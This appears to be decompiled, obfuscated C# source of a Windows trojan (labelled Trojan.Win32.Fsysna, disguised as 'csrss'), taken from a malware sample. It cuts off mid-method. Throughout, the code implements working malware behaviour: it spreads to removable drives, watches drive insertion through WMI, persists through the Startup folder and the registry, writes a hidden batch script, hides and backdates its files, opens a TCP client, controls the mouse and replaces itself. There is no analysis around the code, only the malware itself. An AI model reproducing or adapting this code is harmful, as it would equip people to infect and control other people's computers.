// Decompiled with JetBrains decompiler // Type: . // Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe using \u0001; using \u0005; using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using Microsoft.VisualBasic.MyServices; using Microsoft.Win32; using System; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Management; using System.Net; using System.Net.Sockets; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace \u0005 { internal sealed class \u0002 { [NonSerialized] internal static \u0002 \u0001; private static Thread \u0001; public static string \u0001; public static string \u0002; public static bool \u0001; public static bool \u0002; public static bool \u0003; public static ManagementEventWatcher \u0001; public static string \u0003; public static string \u0004; public static string \u0005; public static string \u0006; public static string \u0007; public static string \u0008; public static string \u000E; public static string \u000F; public static string \u0010; public static int \u0001; public static string \u0011; public static string \u0012; public static string \u0013; public static string \u0014; public static string \u0015; public static string[] \u0001; public static int \u0002; public static int \u0003; public static int \u0004; public static int \u0005; public static BinaryWriter \u0001; public static BinaryReader \u0001; public static TcpClient \u0001; public static Process[] \u0001; static \u0002() { // ISSUE: type reference \u0004.\u0002(\u001D\u0003.\u009E\u0003(__typeref (\u0002))); \u0002.\u0003 = \u008D\u0004.\u009A\u0006(\u0001\u0003.\u0012\u0003()); \u0002.\u0004 = \u0098\u0002.\u009D\u0002(\u0011\u0002.\u008B\u0003(), \u0095\u0002.\u007E\u0099\u0002((object) \u0002.\u0003, \u0002.\u0001(193), \u0002.\u0001(198)), \u0002.\u0001(203)); \u0002.\u0005 = \u0011\u0002.\u0089\u0003(); \u0002.\u0006 = \u001D\u0002.\u007E\u0096((object) \u0082\u0002.\u009C()).ToString(); \u0002.\u0007 = \u0011\u0002.\u008B\u0003(); \u0002.\u0008 = \u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop); \u0002.\u000E = \u0097\u0002.\u009C\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.CommonApplicationData), \u0002.\u0001(212)); \u0002.\u000F = \u0002.\u0001(225); \u0002.\u0010 = \u0002.\u0001(238); \u0002.\u0001 = 4878; \u0002.\u0011 = \u0002.\u0001(263); \u0002.\u0012 = \u0002.\u0001(296); \u0002.\u0013 = \u0002.\u0001(297); } [DllImport("User32.dll", EntryPoint = "SetCursorPos", CharSet = CharSet.Auto, SetLastError = true)] public static extern long \u0002([In] int obj0, [In] int obj1); [DllImport("user32", EntryPoint = "mouse_event", CharSet = CharSet.Ansi, SetLastError = true)] public static extern void \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] int obj3, [In] int obj4); [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0002([In] IntPtr obj0, [In] int obj1, [In] int obj2); [STAThread] public static void \u0002() => new \u0002.\u0001().\u0002(); public static void \u0003() { try { DriveInfo[] driveInfoArray = \u0010\u0004.\u008F\u0005(); int index = 0; while (index < driveInfoArray.Length) { DriveInfo driveInfo = driveInfoArray[index]; if (\u0004\u0002.\u007E\u008E\u0005((object) driveInfo) && !\u008D\u0002.\u007E\u008A\u0002((object) \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo)), \u0002.\u0001(318)) && !\u008D\u0002.\u007E\u008A\u0002((object) \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo)), \u0002.\u0001(323)) && \u000F\u0004.\u007E\u008D\u0005((object) driveInfo) == DriveType.Removable) { \u0002.\u0002 obj = new \u0002.\u0002(); \u0002.\u0001 = new Thread(new ThreadStart(obj.\u0002)); obj.\u0001 = \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo)); \u0001\u0002.\u007E\u0019\u0004((object) \u0002.\u0001); } checked { ++index; } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public static void \u0004() { try { byte[] numArray = \u009B\u0003.\u007E\u0007\u0005((object) \u009E\u0003.\u000F\u0005(), \u0002.\u0013); \u0002.\u0002 = \u0010\u0003.\u0082\u0003(numArray); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0002.\u0003(); try { ManagementScope scope = new ManagementScope(\u0002.\u0001(328)); \u0005\u0002.\u007E\u0018((object) \u0008\u0002.\u007E\u001E((object) scope), true); WqlEventQuery query = new WqlEventQuery(); \u0006\u0002.\u007E\u001A((object) query, \u0002.\u0001(345)); \u0007\u0002.\u007E\u001C((object) query, \u0082\u0003.\u0008\u0004(3.0)); \u0006\u0002.\u007E\u001B((object) query, \u0002.\u0001(378)); \u0002.\u0001 = new ManagementEventWatcher(scope, (EventQuery) query); \u009F.\u007E\u0012((object) \u0002.\u0001, (EventArrivedEventHandler) delegate { \u0002.\u0003(); }); \u0001\u0002.\u007E\u0013((object) \u0002.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public static void \u0005() { while (true) { try { try { \u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup), \u0002.\u0001(443), \u0002.\u0007, \u0002.\u0001(448))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0002.\u0006(); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0015\u0003.\u001B\u0004(100000); } } public static void \u0006() { try { if (!\u008D\u0002.\u007E\u0093\u0002((object) \u0011\u0002.\u0014\u0007(), \u0002.\u0001(457))) return; try { try { \u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(466), \u0002.\u0001(555), (object) \u0011\u0002.\u0014\u0007(), RegistryValueKind.String); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { if (\u008E\u0004.\u009C\u0006(\u0094\u0004.\u007E\u0005\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(466), \u0002.\u0001(555), (object) false), (object) \u0011\u0002.\u0014\u0007(), false)) { \u0002.\u0001 = \u0002.\u0001(564); return; } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(589), \u0002.\u0001(555), (object) \u0011\u0002.\u0014\u0007(), RegistryValueKind.String); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } if (\u008E\u0004.\u009C\u0006(\u0094\u0004.\u007E\u0005\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(589), \u0002.\u0001(555), (object) false), (object) \u0011\u0002.\u0014\u0007(), false)) { \u0002.\u0001 = \u0002.\u0001(674); } else { \u0002.\u0002(\u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u008B\u0003())); \u0002.\u0001 = \u0002.\u0001(699); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public static void \u0002([In] string obj0) { try { string str1 = \u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup); try { \u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(str1, \u0002.\u0001(443), obj0, \u0002.\u0001(448))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } string str2 = \u0011\u0002.\u0014\u0007(); StreamWriter streamWriter1 = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724))); string str3 = \u0002.\u0001(745); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(750)); \u0006\u0002 obj1 = \u0006\u0002.\u007E\u0011\u0006; StreamWriter streamWriter2 = streamWriter1; string[] strArray1 = new string[5] { \u0002.\u0001(779), str3, \u0002.\u0001(808), str3, \u0002.\u0001(829) }; string str4 = \u009A\u0002.\u009F\u0002(strArray1); obj1((object) streamWriter2, str4); \u0006\u0002 obj2 = \u0006\u0002.\u007E\u0011\u0006; StreamWriter streamWriter3 = streamWriter1; string[] strArray2 = new string[7] { \u0002.\u0001(834), str3, str1, \u0002.\u0001(443), obj0, \u0002.\u0001(448), str3 }; string str5 = \u009A\u0002.\u009F\u0002(strArray2); obj2((object) streamWriter3, str5); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(847)); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0099\u0002.\u009E\u0002(\u0002.\u0001(892), str3, str2, str3)); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0099\u0002.\u009E\u0002(\u0002.\u0001(917), str3, \u0002.\u0001(946), str3)); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(967)); \u0001\u0002.\u007E\u0012\u0006((object) streamWriter1); try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public static object \u0002([In] FileInfo obj0) { FileAttributes fileAttributes = \u0014\u0004.\u0098\u0005(\u0014\u0002.\u007E\u008A\u0005((object) obj0)); string str1 = (fileAttributes & FileAttributes.ReadOnly) != FileAttributes.ReadOnly ? \u0002.\u0001(296) : \u0002.\u0001(980); string str2 = (fileAttributes & FileAttributes.Hidden) != FileAttributes.Archive ? \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001(985)); string str3 = (fileAttributes & FileAttributes.System) != FileAttributes.System ? \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001(990)); string str4 = (fileAttributes & FileAttributes.Hidden) != FileAttributes.Hidden ? \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001(995)); if (\u008F\u0004.\u009D\u0006(str4, \u0002.\u0001(296), false) == 0) str4 = \u0002.\u0001(1000); return (object) str4; } public static object \u0002([In] int obj0, [In] string obj1, [In] string obj2) { string str = obj1; string[] strArray = \u0010\u0002.\u0080(str, obj2); return (object) \u0014\u0002.\u007E\u0097\u0002((object) strArray[obj0]); } public static void \u0007() { if (\u001B\u0003.\u007E\u009A\u0003((object) \u0013\u0003.\u008A\u0003()) != PlatformID.Win32NT) return; \u0002.\u0002(\u001C\u0002.\u007E\u0095((object) \u0082\u0002.\u009C()), -1, -1); } public sealed class \u0001 { [NonSerialized] internal static \u0002 \u0001; private Mutex \u0001; private Thread \u0001; private Thread \u0002; private Thread \u0003; private Thread \u0004; private Thread \u0005; private Thread \u0006; private Thread \u0007; private Thread \u0008; private Thread \u000E; private string \u0001; private string \u0002; private string \u0003; private string \u0004; private string \u0005; private string \u0006; private string \u0007; private string \u0008; private string \u000E; private string \u000F; private long \u0001; private long \u0002; private string \u0010; private int \u0001; private int \u0002; private string \u0011; private IntPtr \u0001; private string \u0012; private string \u0013; private \u0002.\u0001.\u0002 \u0001; private string \u0014; public \u0001() { this.\u0001 = (Mutex) null; this.\u0011 = \u0002.\u0001.\u0001(1037); this.\u0001 = \u0017\u0003.\u0094\u0003(0); this.\u0012 = \u0002.\u0001.\u0001(328); this.\u0013 = \u0002.\u0001.\u0001(328); this.\u0001 = (\u0002.\u0001.\u0002) null; } public void \u0002() { try { try { this.\u0001 = \u0086\u0003.\u0016\u0004(\u0002.\u0011); } catch (WaitHandleCannotBeOpenedException ex) { ProjectData.SetProjectError((Exception) ex); \u0016\u0003.\u0001\u0007(); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } if (this.\u0001 == null) { bool createdNew; this.\u0001 = new Mutex(true, \u0002.\u0011, out createdNew); if (createdNew) this.\u0003(); else \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } else \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } private void \u0003() { try { if (\u008F\u0004.\u009D\u0006(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), false) == 0) { \u0008\u0004.\u0088\u0005(\u0002.\u000E); this.\u0004(); } else { try { DirectoryInfo directoryInfo1 = \u0003\u0004.\u0080\u0005(\u0002.\u000E); try { DirectoryInfo directoryInfo2 = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); try { DirectoryInfo directoryInfo3 = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)), FileAttributes.Normal); \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), FileAttributes.Normal); \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), FileAttributes.Normal); \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042))); } catch (Exception ex1) { ProjectData.SetProjectError(ex1); try { \u0013\u0004.\u009C\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex2) { ProjectData.SetProjectError(ex2); \u0016\u0003.\u0001\u0007(); } \u0016\u0003.\u0001\u0007(); } try { \u0093\u0004.\u007E\u0004\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042))); \u0006\u0002.\u007E\u0010\u0002((object) processStartInfo, \u0002.\u000E); try { \u0005\u0004 obj1 = \u0005\u0004.\u0082\u0005; string str1 = \u0002.\u000E; DateTime dateTime1 = \u0001\u0003.\u0010\u0003(); DateTime dateTime2 = dateTime1.AddDays(-50.0); obj1(str1, dateTime2); \u0005\u0004 obj2 = \u0005\u0004.\u0095\u0005; string str2 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)); dateTime1 = \u0001\u0003.\u0010\u0003(); DateTime dateTime3 = dateTime1.AddDays(-50.0); obj2(str2, dateTime3); \u0005\u0004 obj3 = \u0005\u0004.\u0096\u0005; string str3 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)); dateTime1 = \u0001\u0003.\u0010\u0003(); DateTime dateTime4 = dateTime1.AddDays(-50.0); obj3(str3, dateTime4); \u0005\u0004 obj4 = \u0005\u0004.\u0097\u0005; string str4 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)); dateTime1 = \u0001\u0003.\u0010\u0003(); DateTime dateTime5 = dateTime1.AddDays(-50.0); obj4(str4, dateTime5); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } Process process = \u0086\u0002.\u009F(processStartInfo); \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } private void \u0004() { try { try { if (\u0004\u0004.\u0081\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)))) { try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } else { try { DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0002.\u000E, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } this.\u0007(); } public void \u0005() { if (!\u0004\u0004.\u0094\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)))) return; try { try { \u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131)), \u0002.\u0015, false); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u0017\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0002); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0005); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0003); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0006); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0007); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0001\u0002.\u007E\u0091((object) \u0002.\u0001); \u0002.\u0001 = (TcpClient) null; } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0006() { string str = string.Empty; ManagementClass managementClass = new ManagementClass(\u0002.\u0001.\u0001(1177)); ManagementObjectCollection objectCollection = \u009E.\u007E\u000F((object) managementClass); ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; try { objectEnumerator = \u0002\u0002.\u007E\u0015((object) objectCollection); while (\u0004\u0002.\u007E\u0017((object) objectEnumerator)) { ManagementObject managementObject = (ManagementObject) \u0003\u0002.\u007E\u0016((object) objectEnumerator); if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(328), false) == 0) { str = \u0014\u0002.\u007E\u0082\u0002(\u000E\u0002.\u007E\u001F((object) \u000F\u0002.\u007E\u007F((object) \u009D.\u007E\u0008((object) managementObject), \u0002.\u0001.\u0001(1198)))); break; } } } finally { if (objectEnumerator != null) \u0001\u0002.\u007E\u0088\u0002((object) objectEnumerator); } \u0002.\u0012 = str; } [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] private void \u0007() { try { \u0083\u0004.\u008F\u0006(1, \u0011\u0002.\u0014\u0007(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); string str1 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1))); \u0086\u0004.\u0091\u0006(1, ref str1, -1L, false); int[] numArray1 = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray1); string[] strArray1 = \u009A\u0004.\u0012\u0007(str1, \u0002.\u000F, -1, CompareMethod.Binary); try { \u0002.\u0014 = this.\u0003(strArray1[1]); \u0002.\u0002 = \u000E\u0003.\u0094\u0006(this.\u0003(strArray1[2])); \u0002.\u0015 = this.\u0003(strArray1[3]); \u0002.\u0004 = \u000E\u0003.\u0094\u0006(this.\u0003(strArray1[4])); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } if (\u008F\u0004.\u009D\u0006(\u0002.\u0014, (string) null, false) == 0) { try { \u0002.\u0015 = \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0002.\u0015 = \u0002.\u0001.\u0001(1215); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { try { \u0001\u0002.\u007E\u0017\u0004((object) this.\u0001); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal); try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); try { \u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1); string str2 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1))); \u0086\u0004.\u0091\u0006(1, ref str2, -1L, false); int[] numArray2 = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray2); \u0002.\u0004 = \u001D\u0002.\u007E\u008E\u0002((object) str2); \u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1); \u0087\u0004 obj = \u0087\u0004.\u0092\u0006; string[] strArray2 = new string[10] { str2, \u0002.\u000F, this.\u0002(\u0002.\u0010), \u0002.\u000F, this.\u0002(\u0002.\u0001.ToString()), \u0002.\u000F, this.\u0002(\u0002.\u0015), \u0002.\u000F, this.\u0002(\u008B\u0004.\u0098\u0006(\u0002.\u0004)), \u0002.\u000F }; string str3 = \u0014\u0002.\u007E\u0097\u0002((object) \u009A\u0002.\u009F\u0002(strArray2)); obj(1, str3, -1L, false); int[] numArray3 = new int[1]{ 1 }; \u0084\u0004.\u0090\u0006(numArray3); Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); \u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C()); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { try { this.\u0006(); \u0002.\u0003 = true; \u0002.\u0002 = true; this.\u0005 = new Thread(new ThreadStart(\u0002.\u0004)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0005); this.\u0006 = new Thread(new ThreadStart(\u0002.\u0005)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0006); this.\u0084(); this.\u0007 = new Thread(new ThreadStart(this.\u0086)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0007); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } \u0002.\u0001 = true; \u0002.\u0003 = 500000; this.\u0002 = new Thread(new ThreadStart(this.\u000E)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0002); this.\u0004 = new Thread(new ThreadStart(this.\u000F)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0004); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0008() { try { \u0001\u0002.\u007E\u001A\u0004((object) this.\u0003); 